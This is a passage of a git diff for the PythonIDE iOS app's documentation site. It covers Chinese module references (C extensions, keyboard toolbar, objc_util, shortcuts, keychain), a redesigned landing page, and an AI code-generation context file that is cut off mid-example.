在界面展示「内置包可用 / 未内置包需替代」的检查结果(逻辑放按钮回调)。 import appui\n\nstate = appui.State(\n numpy_ok=\"—\",\n cv2_ok=\"—\",\n hint=\"点击检查\",\n)\n\nBUILTIN_TRY = [\n (\"numpy\", \"numpy_ok\"),\n (\"cv2\", \"cv2_ok\"),\n]\n\n\ndef check_imports():\n for module, attr in BUILTIN_TRY:\n try:\n __import__(module)\n setattr(state, attr, \"可导入\")\n except ImportError:\n setattr(state, attr, \"未内置\")\n\n if state.numpy_ok == \"可导入\":\n state.hint = \"数组统计可用 numpy\"\n elif state.cv2_ok == \"未内置\":\n state.hint = \"图像处理请用 vision / vision_helper / coreml\"\n else:\n state.hint = \"检查完成\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"检查\", [\n appui.Button(\"检查常见包\", action=check_imports)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"结果\", [\n appui.LabeledContent(\"numpy\", value=state.numpy_ok),\n appui.LabeledContent(\"cv2\", value=state.cv2_ok),\n appui.Text(state.hint).foreground_color(\"secondaryLabel\"),\n ], footer=\"c_extensions 是文档索引,不是 import 名。\"),\n ]).navigation_title(\"C 扩展\")\n )\n\n\nappui.run(body, state=state) API 参考 已内置 C 扩展库(节选) 包 典型用途 `numpy` 数组、矩阵、统计 `pandas` 表格数据处理 `matplotlib` 绘图(亦可 AppUI Chart) `cryptography` / `bcrypt` / `argon2-cffi` 加密与哈希 `msgpack` / `msgspec` / `ujson` / `rapidjson` 高性能序列化 `zstandard` / `xxhash` 压缩与哈希 `PyYAML` / `ruamel.yaml` YAML `regex` / `tornado` / `httptools` 工具库 完整列表见应用内文档生成源;新增内置包以运行时为准。 常见未内置包 cv2、opencv、scipy、scikit learn、sklearn、tensorflow、torch、torchvision、lxml、psutil、h5py、numba、cython、gevent 等。 替代路线 需求 优先选择 数组、统计 `numpy`、`pandas` 绘图 `matplotlib`、[appui](appui) `Chart` OCR、条码、人脸 [vision](vision-module)、[vision_helper](vision-helper) 图片分类模型 [coreml](coreml-module) 哈希、压缩 `xxhash`、`zstandard` iOS 设备能力 对应原生模块 降级模式 try:\n import numpy as np\nexcept ImportError:\n np = None\n\ndef mean_value(values):\n if np is None:\n return sum(values) / len(values)\n return float(np.array(values).mean()) 常见错误 错误写法 后果 修正 `import c_extensions` 模块不存在 使用真实包名 桌面 pip 经验直接套 iOS 安装失败 查内置表或换原生模块 无 `ImportError` 处理 脚本直接崩溃 `try/except` + 纯 Python 降级 用未内置 CV 包做 OCR 不可用 [vision](vision-module) 相关文档 文档 用途 [coreml](coreml-module) 端侧图像模型 [vision_helper](vision-helper) Vision 检测 API [原生能力入口](miniapp-native-capabilities) iOS 模块索引 先选路线 路线 何时选 内置原生模块 优先查 [iOS 原生能力](ios-native.md) pip / 纯 Python 仅在沙盒允许且已有 wheel 时 C 扩展编译 仅高级场景;先评估维护成本 发布前检查 确认目标能力是否已有官方模块或 AppUI 组件 在真机验证权限、离线场景与失败返回值 不要把未审核的扩展当作 App Store 可发布方案 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "keyboard-module", + "title": "keyboard", + "subtitle": "编辑器自定义键盘工具栏与插入动作。", + "section": "自动化与扩展 / 模块", + "url": "pages/keyboard-module/", + "text": "keyboard 编辑器自定义键盘工具栏与插入动作。 自动化与扩展 模块 Toolbar Snippet Cursor keyboard keyboard toolbar snippet insert_text insert_snippet move_cursor 编辑器键盘 keyboard 脚本编辑器键盘工具栏:自定义快捷键按钮、插入文本与代码片段。 边界 :作用于 PythonIDE 脚本编辑器 键盘上方工具栏,不是 AppUI 小应用内键盘。配置代码应在编辑器中运行的脚本里执行;AppUI 示例仅演示配置写法。 模块概览 项 说明 导入 `import keyboard` 适合做什么 Tab 缩进、常用关键字、代码片段、光标跳转 调用时机 编辑器打开前或脚本开头注册按钮 推荐顺序 `clear()`(可选)→ `add_button` / `add_group` → 回调里 `insert_text` 回调 `action` 为 Python 函数,点击时在当前编辑器执行 快速开始 在编辑器脚本中注册工具栏按钮: import keyboard\n\n\ndef insert_tab():\n keyboard.insert_text(\" \")\n\n\ndef insert_print():\n keyboard.insert_text(\"print()\")\n\n\ndef insert_def_snippet():\n keyboard.insert_snippet(\"def ${1:name}(${2:args}):\\n ${0:pass}\")\n\n\nkeyboard.clear()\nkeyboard.add_button(\"Tab\", action=insert_tab)\nkeyboard.add_button(\"print\", action=insert_print)\nkeyboard.add_button(\"def\", action=insert_def_snippet) 分组按钮: import keyboard\n\n\ndef insert_import():\n keyboard.insert_text(\"import \")\n\n\ndef insert_if():\n keyboard.insert_text(\"if :\\n \", offset=-6)\n\n\nkeyboard.add_group(\"常用\", buttons=[\n keyboard.Button(\"import\", action=insert_import),\n keyboard.Button(\"if\", action=insert_if),\n]) AppUI 示例 说明:以下界面展示推荐配置; 实际生效需在编辑器中运行同等 keyboard 代码 。 import appui\n\nstate = appui.State(\n config_status=\"未应用\",\n snippet_preview=\"def name(args):\\n pass\",\n)\n\n\ndef show_config_hint():\n state.config_status = (\n \"请在编辑器脚本中执行 keyboard.add_button;\"\n \"AppUI 内不会修改编辑器工具栏。\"\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"说明\", [\n appui.Text(\n \"keyboard 模块自定义脚本编辑器键盘工具栏,\"\n \"不作用于本 AppUI 界面内的输入框。\"\n ).foreground_color(\"secondaryLabel\"),\n appui.Button(\"查看配置说明\", action=show_config_hint)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"推荐配置示例\", [\n appui.LabeledContent(\"Tab\", value='insert_text(\" \")'),\n appui.LabeledContent(\"print\", value='insert_text(\"print()\")'),\n appui.Text(state.snippet_preview)\n .font(\"caption\")\n .foreground_color(\"secondaryLabel\"),\n ]),\n appui.Section(\"状态\", [\n appui.Text(state.config_status).foreground_color(\"secondaryLabel\"),\n ], footer=\"在编辑器新建脚本,粘贴「快速开始」代码后运行一次即可。\"),\n ]).navigation_title(\"键盘工具栏\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `add_button(label, action=None, icon=None)` 添加单个按钮 `add_group(name, buttons)` 添加按钮组 `set_buttons(buttons)` 替换全部按钮 `remove_button(label)` 移除按钮 `clear()` 清空自定义按钮 `insert_text(text, offset=0)` 插入文本,可选光标偏移 `insert_snippet(template)` 插入片段(`$1`、`$0` 占位) `move_cursor(offset)` 移动光标 `Button(label, action=None, icon=None)` 按钮描述类 insert_text / insert_snippet keyboard.insert_text(\" \") # Tab\nkeyboard.insert_text(\"if :\\n \", offset=-6) # 光标回到条件处\nkeyboard.insert_snippet(\"def ${1:name}():\\n ${0:pass}\")\nkeyboard.move_cursor(-3) icon 可选 SF Symbol 名称。 生命周期 同一 label 对应稳定 btn_{label} ID;remove_button / clear 会注销回调。 常见错误 错误写法 后果 修正 在 AppUI 里期望改工具栏 不生效 在编辑器脚本中注册 重复 `add_button` 同名 覆盖或重复 先 `clear()` 或 `remove_button` `action` 未调用 `insert_*` 按钮无效果 回调里写插入逻辑 与系统键盘混淆 概念错误 本模块仅编辑器 accessory 工具栏 相关文档 文档 用途 [console](console-module) 控制台弹窗 [appui](appui) 小应用界面(非编辑器工具栏) 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "objc-util-module", + "title": "objc_util", + "subtitle": "Objective-C Runtime 调用与系统框架访问。", + "section": "自动化与扩展 / 模块", + "url": "pages/objc-util-module/", + "text": "objc_util Objective-C Runtime 调用与系统框架访问。 自动化与扩展 模块 Runtime ObjC objc util objective-c runtime selector class objc_util Objective C Runtime 访问层:调用系统类、selector、Foundation/UIKit 对象与 block。 边界 : 高级能力入口 ;拍照、网络、定位等优先用已封装模块。UIKit 调用须 @on_main_thread;block 回调用 retain_global 保活。 模块概览 项 说明 导入 `from objc_util import ObjCClass, ns, on_main_thread, ...` 适合做什么 访问未封装系统 API、转换 ObjC 对象、创建 block 调用时机 UI 相关放主线程;长期回调对象要保活 推荐顺序 确认无公开模块 → `ObjCClass` → 调用 selector Selector Python 方法名中 `_` 对应 ObjC 的 `:` 快速开始 读取设备信息: from objc_util import ObjCClass\n\nUIDevice = ObjCClass(\"UIDevice\")\ndevice = UIDevice.currentDevice()\nprint(device.name())\nprint(device.systemVersion()) Python 对象转 Objective C: from objc_util import ObjCClass, ns, nsurl\n\npayload = ns({\"name\": \"Ada\", \"level\": 3})\nurl = nsurl(\"https://www.python.org\")\nprint(url.absoluteString()) AppUI 示例 通过 Runtime 读取设备名(只读、放按钮回调)。 import appui\nfrom objc_util import ObjCClass, on_main_thread\n\nstate = appui.State(\n device_name=\"—\",\n os_version=\"—\",\n status=\"点击读取\",\n)\n\n\n@on_main_thread\ndef read_device():\n UIDevice = ObjCClass(\"UIDevice\")\n device = UIDevice.currentDevice()\n state.device_name = str(device.name())\n state.os_version = str(device.systemVersion())\n state.status = \"已读取\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"设备\", [\n appui.Button(\"读取设备信息\", action=read_device)\n .button_style(\"bordered_prominent\"),\n ]),\n appui.Section(\"结果\", [\n appui.LabeledContent(\"名称\", value=state.device_name),\n appui.LabeledContent(\"系统\", value=state.os_version),\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ]),\n ]).navigation_title(\"ObjC Runtime\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 分组 API Runtime `ObjCClass`、`ObjCInstance`、`sel`、`load_framework` 转换 `ns(py_obj)`、`nsurl(url_or_path)`、`nsdata_to_bytes`、`uiimage_to_png` 线程 `on_main_thread(func)` 生命周期 `retain_global(obj)`、`release_global(obj)` Block `ObjCBlock(func, restype=None, argtypes=None)` 结构体 `CGPoint`、`CGRect`、`CGSize`、`UIEdgeInsets`、`NSRange` 等 ObjCClass 与 selector NSDictionary = ObjCClass(\"NSDictionary\")\nobj = NSDictionary.dictionaryWithObject_forKey_(\"value\", \"key\")\n# 对应 dictionaryWithObject:forKey: 主线程 from objc_util import ObjCClass, on_main_thread\n\nUIColor = ObjCClass(\"UIColor\")\n\n@on_main_thread\ndef blue():\n return UIColor.systemBlueColor() 常用转换 函数 用途 `ns({\"a\": 1})` dict/list/str → Foundation 对象 `nsurl(\"https://...\")` 创建 NSURL `nsdata_to_bytes(data)` NSData → bytes 常见错误 错误写法 后果 修正 未封装能力直接用 Runtime 脆弱、难维护 优先 [photos](photos-module)、[network](network-module) 等 UIKit 非主线程调用 崩溃或无效 `@on_main_thread` block 未 `retain_global` 回调失效 保活到流程结束 猜测 selector 签名 运行时错误 对照 Apple 文档逐项验证 调用私有 API 审核风险 仅用公开 API 相关文档 文档 用途 [vision](vision-module) OCR(内部可用 objc_util) [appui](appui) 声明式 UI,替代手写 UIKit [原生能力入口](miniapp-native-capabilities) 已封装模块索引 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + }, + { + "id": "shortcuts-module", + "title": "shortcuts", + "subtitle": "运行快捷指令、打开 URL、进入设置。", + "section": "自动化与扩展 / 模块", + "url": "pages/shortcuts-module/", + "text": "shortcuts 运行快捷指令、打开 URL、进入设置。 自动化与扩展 模块 Run URL Settings shortcuts 快捷指令模块 url settings run shortcut shortcuts 系统快捷指令与外链:运行快捷指令、打开 URL、进入本 App 设置页。 边界 :run_shortcut() / open_url() 会 离开当前 App 或跳转系统界面,必须由用户点击触发,不要在 body() 或页面加载时自动调用。run_shortcut(name) 依赖用户在「快捷指令」App 中已存在 同名 指令。 模块概览 项 说明 导入 `import shortcuts` 适合做什么 衔接系统自动化、打开网页/Deep Link、跳转设置 调用时机 按钮回调里调用 推荐顺序 确认用户意图 → `run_shortcut` / `open_url` / `open_settings` → 更新状态 返回值 三个 API 均返回 `bool` 表示是否成功发起 快速开始 下面脚本打开网页并进入 App 设置: import shortcuts\n\nok = shortcuts.open_url(\"https://www.apple.com\")\nprint(\"打开 URL:\", ok)\n\nok = shortcuts.open_settings()\nprint(\"打开设置:\", ok) 运行已创建的快捷指令(名称须完全一致): import shortcuts\n\nok = shortcuts.run_shortcut(\"每日记录\")\nprint(\"已启动:\", ok) AppUI 示例 外跳操作全部放在按钮回调;结果写回 State。 import appui\nimport shortcuts\n\nstate = appui.State(status=\"等待操作\")\n\n\ndef open_website():\n ok = shortcuts.open_url(\"https://www.apple.com\")\n state.status = \"已打开网页\" if ok else \"打开 URL 失败\"\n\n\ndef open_settings():\n ok = shortcuts.open_settings()\n state.status = \"已打开设置\" if ok else \"打开设置失败\"\n\n\ndef run_daily_log():\n ok = shortcuts.run_shortcut(\"每日记录\")\n state.status = \"已启动快捷指令\" if ok else \"启动失败(检查名称是否存在)\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"外链\", [\n appui.Button(\"打开 Apple 官网\", action=open_website)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"打开本 App 设置\", action=open_settings),\n ]),\n appui.Section(\"快捷指令\", [\n appui.Button(\"运行「每日记录」\", action=run_daily_log),\n appui.Text(\n \"需先在系统「快捷指令」App 中创建同名指令\"\n ).font(\"caption\").foreground_color(\"secondaryLabel\"),\n ]),\n appui.Section(\"状态\", [\n appui.Text(state.status).foreground_color(\"secondaryLabel\"),\n ], footer=\"所有外跳必须由用户点击触发。\"),\n ]).navigation_title(\"快捷指令\")\n )\n\n\nappui.run(body, state=state) API 参考 速查 API 作用 `run_shortcut(name)` 按名称运行快捷指令 → `bool` `open_url(url)` 打开网页 / Deep Link / App Scheme → `bool` `open_settings()` 打开本 App 系统设置页 → `bool` run_shortcut run_shortcut(name) bool ok = shortcuts.run_shortcut(\"My Workflow\") 会跳转到「快捷指令」App 执行;名称不匹配时可能打开但不执行目标流程。 open_url open_url(url) bool shortcuts.open_url(\"https://example.com\")\nshortcuts.open_url(\"mailto:support@example.com\")\nshortcuts.open_url(\"pythonide://some-path\") # 示例 scheme 支持 https://、mailto:、tel: 及第三方 App 的 URL Scheme。 open_settings open_settings() bool — 打开当前 App 在 iOS 设置中的页面。 常见错误 错误写法 后果 修正 在 `body()` 里 `open_url()` 页面一加载就跳走 放进按钮回调 猜测快捷指令名称 无法执行 使用用户已有的精确名称 用 Shortcuts 做核心业务 难维护、难调试 优先 PythonIDE 原生模块 不告知用户将离开 App 体验突兀 按钮文案写清楚 相关文档 文档 用途 [dialogs](dialogs-module) App 内确认后再外跳 [network](network-module) App 内 HTTP 请求 [原生能力入口](miniapp-native-capabilities) MiniApp 场景配方 预期效果 运行示例后,界面应出现文档描述的目标结果;若与预期不符,先看「失败路径」并按返回值或日志排查。" + } +] diff --git a/docs/donate-qr.jpeg b/docs/donate-qr.jpeg deleted file mode 100644 index 3d54098..0000000 Binary files a/docs/donate-qr.jpeg and /dev/null differ diff --git a/docs/favicon.png b/docs/favicon.png deleted file mode 100644 index a59e509..0000000 Binary files a/docs/favicon.png and /dev/null differ diff --git "a/docs/html\351\242\204\350\247\210.png" "b/docs/html\351\242\204\350\247\210.png" deleted file mode 100644 index e064304..0000000 Binary files "a/docs/html\351\242\204\350\247\210.png" and /dev/null differ diff --git a/docs/i/index.html b/docs/i/index.html new file mode 100644 index 0000000..b3eefc8 --- /dev/null +++ b/docs/i/index.html @@ -0,0 +1,19 @@ + + + + + + PythonIDE 邀请 +
+ +
+

PythonIDE 邀请

获取邀请码

打开 PythonIDE,在“我的—邀请好友”查看并分享你的专属邀请码。

+
下载 App
+ +
+ +
+ +
+ + diff --git a/docs/icon.png b/docs/icon.png deleted file mode 100644 index d5f6e0e..0000000 Binary files a/docs/icon.png and /dev/null differ diff --git a/docs/index.html b/docs/index.html index e9dd9e7..64af5da 100644 --- a/docs/index.html +++ b/docs/index.html @@ -1,1147 +1,66 @@ - + - - -Python IDE - 掌上的 Python & JavaScript 开发环境 - - - - + + + + + + + + + + + + + + + + + + + + + + + + PythonIDE — 在 Apple 设备上认真写 Python - -
- - -
- - - -
- - - -
-
-

Python IDE

-

掌上的 Python & JavaScript 开发环境

-

让编程从电脑走到手机与平板 · Write, Run, Debug on iOS

- -
-iOS 16.2+ -Python 3.13 -JavaScript ES6+ -Swift 5.9 -C 扩展 25+ -SSH 服务器管理 -WebDAV 云盘 -预装 Wheels 150+ -
-
-
- -
-

🌟 为什么选择 Python IDE?

-

不是把电脑版塞进手机,而是专为触摸屏和移动场景重新设计的编程环境。

-
-
🚀

完全本地运行

代码执行不依赖任何服务器,无网络也能用。

-

25+ 个 C 加速包

NumPy、pandas、Matplotlib、Pillow、aiohttp 生态等,10–100 倍加速。

-
📦

150+ 预装库

常用库开箱即用,搜索 PyPI 在线安装。

-
🤖

AI Agent

Agent 模式可直接协助处理项目任务,改代码、排查问题、配合远程工作流。

-
📱

iOS 深度集成

灵动岛、Siri 快捷指令、x-callback-url。

-
🔒

隐私安全

Face ID 锁定,本地运行,代码不外传。

-
🎮

2D 游戏引擎

Scene 模块 + SpriteKit,物理引擎、粒子、动画。

-
📲

桌面小组件

Python 创建 iOS 主屏幕 Widget,声明式布局。

-
🖥️

SSH 与远程文件

SSH2、SFTP 与 WebDAV 云盘;一键部署、实时监控、AI 智能运维。

-
-
-
完全本地运行,无网络也能用
-
Python 3.13 完整标准库
-
25+ 个预装 C 加速包,10-100x 加速
-
150+ 预装 Wheel 库
-
AI Agent 自动写码、跑码、修码
-
灵动岛、Siri、x-callback-url
-
Scene 2D 游戏引擎 + 物理
-
Widget 桌面小组件
-
SSH 服务器管理 + AI 运维
-
WebDAV 云盘 — 远程目录、在线编辑、ETag 防覆盖
-
-
- -
-

📱 截图展示

-
-
首页

首页 · 文件管理、颜色标记、置顶、搜索

-
编辑器

编辑器 · 语法高亮、智能补全、快捷输入栏

-
控制台

控制台 · Rich 彩色输出、多控制台切换

-
AI Agent

AI Agent · 14 工具自动操作、Diff 对比、一键修复

-
库管理

库管理 · PyPI 搜索安装、热门库分类

-
工具箱

工具箱 · 编解码、JSON、API 调试、正则

-
HTML 预览

HTML 预览 · 全屏网页渲染、双指缩放

-
Markdown

Markdown 渲染 · 实时渲染、代码块、表格

-
新建文件

新建文件 · 多种格式、颜色标记

-
设置

设置 · 外观、AI 配置、应用锁定

-
-
- -
-

🖥️ SSH 服务器管理

-

写完脚本直接部署到服务器 — 完整 SSH2 协议,告别 App 切换。

-
-
💻

交互式终端

ANSI 256 色、多主题切换(Dracula / Solarized / Monokai)、命令历史、快捷键栏。

-
📂

SFTP 文件管理

远程浏览、在线编辑、上传下载、创建删除、chmod 权限管理。

-
🚀

一键部署

选择本地项目一键上传到服务器,自动安装依赖并执行。

-
📊

实时监控

CPU、内存、磁盘、网络流量仪表盘,5 秒自动刷新。

-
🔑

密钥管理

生成 Ed25519 / RSA / ECDSA 密钥对,导入导出,SHA256 指纹。

-
🤖

AI 智能运维

用自然语言协助部署、诊断和维护服务器任务。

-
-
- -
-

✨ 核心功能

-
- - - - - - - - - -
-
-
-
Python 3.13 完整标准库、async/await、多线程
-
JavaScript alert/fetch/localStorage、剪贴板桥接
-
HTML 预览 WKWebView 全屏渲染、双指缩放
-
-
-
-
-
语法高亮、Jedi 智能补全
-
查找替换、快捷输入栏
-
分屏模式、错误跳转
-
运行历史、实时保存
-
-
-
-
-
🤖 Agent 模式 — 面向项目级任务的执行协作
-
📋 Plan 模式 — 先规划再动手
-
✨ 行内修改 + Diff 逐条采纳
-
🔧 跨文件修改、项目搜索、内容整理
-
▶️ 结合运行结果继续调整代码
-
🩺 基于报错和上下文生成修复建议
-
📦 辅助安装依赖并处理环境问题
-
📖 更贴合内置模块与移动端运行场景
-
🔑 BYOK 无限使用 / 免费额度 / 调用包
-
💬 多会话管理 + 图片附件
-
🖥️ 可结合 SSH 工作流处理远程任务
-
-
-
-
-
NumPy · Pillow · ujson
-
cryptography · bcrypt
-
aiohttp · regex
-
requests · flask
-
-
-
-
-
编解码 · JSON · API 调试
-
二维码 · 时间戳
-
正则表达式
-
直链下载
-
-
-
-
-
SpriteKit 驱动的 2D 游戏引擎
-
Node / SpriteNode / ShapeNode / LabelNode
-
14 种 Action 动画 + 16 种缓动曲线
-
物理引擎:重力、碰撞、关节
-
经典 draw() 逐帧绘制模式
-
触摸事件、陀螺仪、音效
-
内置 16 款游戏示例
-
Pythonista 完全兼容
-
-
-
-
-
Python 创建 iOS 桌面小组件
-
14 种组件:文字、图标、进度条、仪表盘…
-
6 种尺寸:主屏幕 + 锁屏
-
深色模式自动适配
-
渐变背景 + 图片缓存
-
WidgetKit 原生倒计时
-
内置 8 款小组件示例
-
声明式 DSL + 快捷模板
-
-
-
-
-
🔐 SSH2 加密连接(Citadel / SwiftNIO-SSH)
-
🔑 密码 / Ed25519 / RSA / ECDSA 密钥认证
-
💻 ANSI 256 色交互式终端,多主题切换
-
📂 SFTP 文件浏览、编辑、上传、下载
-
🚀 一键部署 — 本地脚本直接上传运行
-
📊 服务器监控 — CPU / 内存 / 磁盘 / 网络
-
⚡ 40+ 预置命令片段(系统 / Docker / Python)
-
🤖 AI 辅助服务器诊断、部署与日常运维
-
🔧 SSH 密钥生成 / 导入 / 导出
-
📡 KeepAlive 心跳,后台不断连
-
-
-
-
-
☁️ 坚果云 / NextCloud / 群晖模板 + 自定义服务器
-
📂 远程面包屑、骨架屏、搜索与排序
-
✏️ 远程文本在线编辑 · ETag 冲突检测
-
📤 上传 / 下载到工作区 · 重命名 · 删除 · 新建文件夹
-
☑️ 批量删除 · 批量下载 · 批量移动
-
⭐ 收藏夹快速跳转常用目录
-
🔐 Keychain 存密码 · 自签名证书信任
-
⏱️ 坚果云频率限制保护 · 指数退避
-
-
-
- -
-

📚 模块文档

-

内置原生模块与云盘等功能的说明文档在 GitHub 仓库持续更新,以下为常用入口。

- -
- -
-
-

📥 立即下载

-

iOS 16.2+ · iPhone / iPad · 免费

-App Store 免费下载 -
-
- -
-

💬 社区与反馈

- -
- -
- -
- - - -
- - - - + +
+ + +
+

Python,从灵感开始的地方

少一点负担,多一点创造。

为 iPhone、iPad 与 Mac 打造的原生 Python 工作空间。编写、运行、学习,并与 AI 一起把想法做出来。

+ +

选择适合你的方式开始。

+ +

从第一行代码,到真正可用的体验。

PythonIDE 把运行、原生界面、AI、文件、包管理与分享放在一起,同时保留 Apple 平台应有的简洁与顺手。

+
01

真正的 Python 运行环境

编辑并运行脚本,管理文件与包,让创作留在你正在使用的设备上。

+
02

理解上下文的 AI

使用平台 AI、自有模型服务或受支持的端侧模型,结合项目上下文解释、修改和构建。

+
03

用 Python 构建原生界面

AppUI 将 Python 描述转换为 Apple 平台的原生界面、预览与交互工具。

+
04

清楚可控的文件

通过熟悉的系统流程使用本地文件、iCloud 文稿、导入、下载与项目文件夹。

+
05

需要时再使用系统能力

通过明确授权,把脚本连接到快捷指令、小组件、媒体、传感器、网络工具等原生能力。

+
06

在审核社区中分享

在带有作者身份、人工审核与记录机制的社区中发布有价值的脚本与作品。

+
+ +
+ +

下一个想法,不必等你回到电脑前。

+
+ + +
diff --git a/docs/keychain-module.md b/docs/keychain-module.md deleted file mode 100644 index 447680a..0000000 --- a/docs/keychain-module.md +++ /dev/null @@ -1,268 +0,0 @@ -# keychain 模块 — 完整 API 参考 - -> Pythonista 兼容安全存储模块,基于 iOS Keychain Services。 -> 用于安全存储 API Key、Token、密码等敏感信息。 -> 数据由 iOS 系统加密,受设备锁保护,跨 App 重装持久化。 - ---- - -## 目录 - -- [快速开始](#快速开始) -- [API 参考](#api-参考) - - [set_password()](#set_password) - - [get_password()](#get_password) - - [delete_password()](#delete_password) - - [get_services()](#get_services) -- [安全特性](#安全特性) -- [常见用法](#常见用法) -- [与 console 模块配合](#与-console-模块配合) -- [完整示例](#完整示例) - ---- - -## 快速开始 - -```python -import keychain - -# 存储密码 -keychain.set_password('github', 'my_account', 'ghp_xxxxxxxxxxxx') - -# 读取密码 -token = keychain.get_password('github', 'my_account') -print(token) # ghp_xxxxxxxxxxxx - -# 删除密码 -keychain.delete_password('github', 'my_account') - -# 列出所有存储的凭据 -for service, account in keychain.get_services(): - print(f'{service} / {account}') -``` - ---- - -## API 参考 - -### set_password() - -```python -keychain.set_password(service, account, password) → bool -``` - -存储或更新一个密码到 iOS Keychain。如果 `(service, account)` 已存在,则更新。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `service` | str | 服务名称(如 `'openai'`、`'github'`) | -| `account` | str | 账户/用户名 | -| `password` | str | 要存储的密码或 token | - -**返回值**:`True` 成功,`False` 失败。 - -```python -keychain.set_password('openai', 'default', 'sk-xxxxxxxx') -keychain.set_password('github', 'user@example.com', 'ghp_xxxxx') -``` - -### get_password() - -```python -keychain.get_password(service, account='') → str or None -``` - -从 Keychain 读取密码。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `service` | str | 必填 | 服务名称 | -| `account` | str | `''` | 账户名(默认空字符串) | - -**返回值**:密码字符串,或 `None`(不存在时)。 - -```python -token = keychain.get_password('openai', 'default') -if token: - print('Token 已找到') -else: - print('未存储 Token') -``` - -### delete_password() - -```python -keychain.delete_password(service, account='') → bool -``` - -从 Keychain 删除指定条目。 - -| 参数 | 类型 | 默认 | 说明 | -|------|------|------|------| -| `service` | str | 必填 | 服务名称 | -| `account` | str | `''` | 账户名 | - -**返回值**:`True`(成功删除或本来就不存在),`False`(出错)。 - -```python -keychain.delete_password('github', 'user@example.com') -``` - -### get_services() - -```python -keychain.get_services() → list -``` - -列出本 App 存储的所有 service/account 对。 - -**返回值**:`[(service, account), ...]` 元组列表。 - -```python -for svc, acct in keychain.get_services(): - print(f'服务: {svc}, 账户: {acct}') -``` - ---- - -## 安全特性 - -| 特性 | 说明 | -|------|------| -| **加密存储** | iOS 系统级加密,非明文存储 | -| **设备锁保护** | 设备锁定时数据不可访问(`kSecAttrAccessibleWhenUnlocked`) | -| **跨重装持久** | 卸载重装 App 后数据仍在(标准 Keychain 行为) | -| **App 隔离** | 每个 App 有独立命名空间,其他 App 无法访问 | -| **服务前缀** | 内部使用 `com.pythonide.keychain.` 前缀防止冲突 | - ---- - -## 常见用法 - -### 存储 API Key - -```python -import keychain - -keychain.set_password('openai', 'api_key', 'sk-xxxxxxxxxxxxxxxx') -api_key = keychain.get_password('openai', 'api_key') -``` - -### 存储多个账户 - -```python -import keychain - -keychain.set_password('email', 'work@company.com', 'password1') -keychain.set_password('email', 'personal@gmail.com', 'password2') - -pw1 = keychain.get_password('email', 'work@company.com') -pw2 = keychain.get_password('email', 'personal@gmail.com') -``` - -### 检查并按需设置 - -```python -import keychain - -token = keychain.get_password('github', 'token') -if not token: - token = input('请输入 GitHub Token: ') - keychain.set_password('github', 'token', token) -``` - ---- - -## 与 console 模块配合 - -最佳实践:用 `console.input_alert()` 或 `console.password_alert()` 获取用户输入,存入 keychain。 - -```python -import keychain -import console - -def get_api_key(service, account='default'): - """获取 API Key,不存在则弹窗询问并保存""" - key = keychain.get_password(service, account) - if not key: - try: - key = console.password_alert( - f'{service} API Key', - '请输入你的 API Key(安全存储)' - ) - keychain.set_password(service, account, key) - console.hud_alert('已安全保存 🔒') - except KeyboardInterrupt: - return None - return key - -# 使用 -openai_key = get_api_key('openai') -if openai_key: - print(f'Key 前缀: {openai_key[:8]}...') -``` - ---- - -## 完整示例 - -### 密码管理器 - -```python -import keychain -import console - -def main(): - console.clear() - console.set_color(0.3, 0.7, 1.0) - print('🔐 密码管理器') - console.set_color() - print() - - while True: - try: - choice = console.alert( - '密码管理器', - '选择操作', - '查看所有', '添加/更新', '删除' - ) - except KeyboardInterrupt: - break - - if choice == 1: - pairs = keychain.get_services() - if not pairs: - console.hud_alert('暂无存储的密码') - else: - console.set_color(0.2, 0.8, 0.4) - for svc, acct in pairs: - pw = keychain.get_password(svc, acct) - masked = pw[:2] + '*' * (len(pw) - 2) if pw and len(pw) > 2 else '***' - print(f' {svc} / {acct}: {masked}') - console.set_color() - - elif choice == 2: - try: - svc = console.input_alert('服务名', '如: github, openai') - acct = console.input_alert('账户名', '如: user@email.com') - pw = console.password_alert('密码', '输入密码或 Token') - if keychain.set_password(svc, acct, pw): - console.hud_alert('已安全保存 ✓') - else: - console.hud_alert('保存失败') - except KeyboardInterrupt: - pass - - elif choice == 3: - try: - svc = console.input_alert('要删除的服务名') - acct = console.input_alert('要删除的账户名') - keychain.delete_password(svc, acct) - console.hud_alert('已删除') - except KeyboardInterrupt: - pass - - console.hud_alert('退出密码管理器') - -main() -``` diff --git a/docs/llms-full.txt b/docs/llms-full.txt new file mode 100644 index 0000000..a925d93 --- /dev/null +++ b/docs/llms-full.txt @@ -0,0 +1,1815 @@ +# PythonIDE Public AI Generation Context + +Canonical docs URL: https://pythonide.xin/docs/ +AI one-page URL: https://pythonide.xin/docs/pages/agent-development-index/ + +## Hard Rules + +- Generate PythonIDE code only. +- Use `appui` for Mini Apps and interactive native UI. +- Use `widget` for iOS Home Screen widgets. Widget scripts must use one `widget.Widget()` entry, not AppUI views or undocumented layout helpers. +- Use `scene` for 2D scenes and game-style scripts. +- Use `ui` for Pythonista-compatible view scripts. +- Route native capabilities from `native_capabilities_schema.json` v2 by entry kind: `module` (`import`), `appui_bridge` (`appui` component), `topic` (no import), or `reference`. +- Do not invent APIs or parameters. +- Do not use tkinter, PyQt, Flask, Streamlit, web servers, or browser UI frameworks. +- Output one runnable Python file unless the user asks for a package. + +## Mini App Quick Start + +```python +import appui + +state = appui.State(count=0) + +def increase(): + state.batch_update(count=state.count + 1) + +def body(view_state): + return appui.NavigationStack( + appui.VStack([ + appui.Text("Mini App").font("title2").bold(), + appui.Text(f"Count: {view_state.count}").font("title3"), + appui.Button("Increase", 